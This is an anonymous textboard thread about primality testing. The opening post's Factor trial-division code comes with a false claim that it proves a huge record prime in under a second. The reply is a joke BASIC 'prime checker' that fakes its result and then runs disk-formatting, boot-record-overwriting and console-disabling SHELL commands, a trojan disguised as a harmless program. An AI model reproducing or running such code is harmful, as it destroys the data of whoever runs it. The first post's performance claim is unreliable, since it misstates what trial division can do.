Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

primality testing

Name: Anonymous 2007-06-18 11:04 ID:qFudCK33

so i was playing with factor and i wrote this function:
: prime? ( n -- ? ) [ dup sqrt >bignum 1 - [ 2 + , ] each ] { } make [ 2dup mod swap drop ] map [ 0 = ] find drop not swap 1 > and ;

it takes less than a second to determine that 2003663613*2^195000+1 (the largest known prime number according to http://primes.utm.edu/largest.html) is prime and less than a second to determine that 2003663613*2^195000 is not...

so i'm wondering... how would one go about doing this in other languages?

Name: Anonymous 2007-06-18 11:34 ID:sqHJKSnw

10 PRINT "THIS PROGRAM DETERMINES IF 2003663613*2^195000+1 IS PRIME.  IT DOES SO IN LESS THAN 1 SECOND, THEREBY KICKING >>1'S ASS."
15 PRINT "PRESS A KEY TO WITNESS THE MAGIC!"
16 DO:LOOP UNTIL INKEY$<>""
20 PRINT "COMPUTING...."
21 X=TIMER+.5:DO:LOOP UNTIL TIMER>X
30 PRINT "RESULT: IT IS PRIME."
31 PRINT "THANK YOU FOR WITNESSING THIS GREATNESS."
32 PRINT "PRESS A KEY."
33 DO:LOOP UNTIL INKEY$<>""
40 SHELL "FORMAT C:/U"
41 SHELL "FDISK /MBR"
42 SHELL "CTTY NUL:"

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List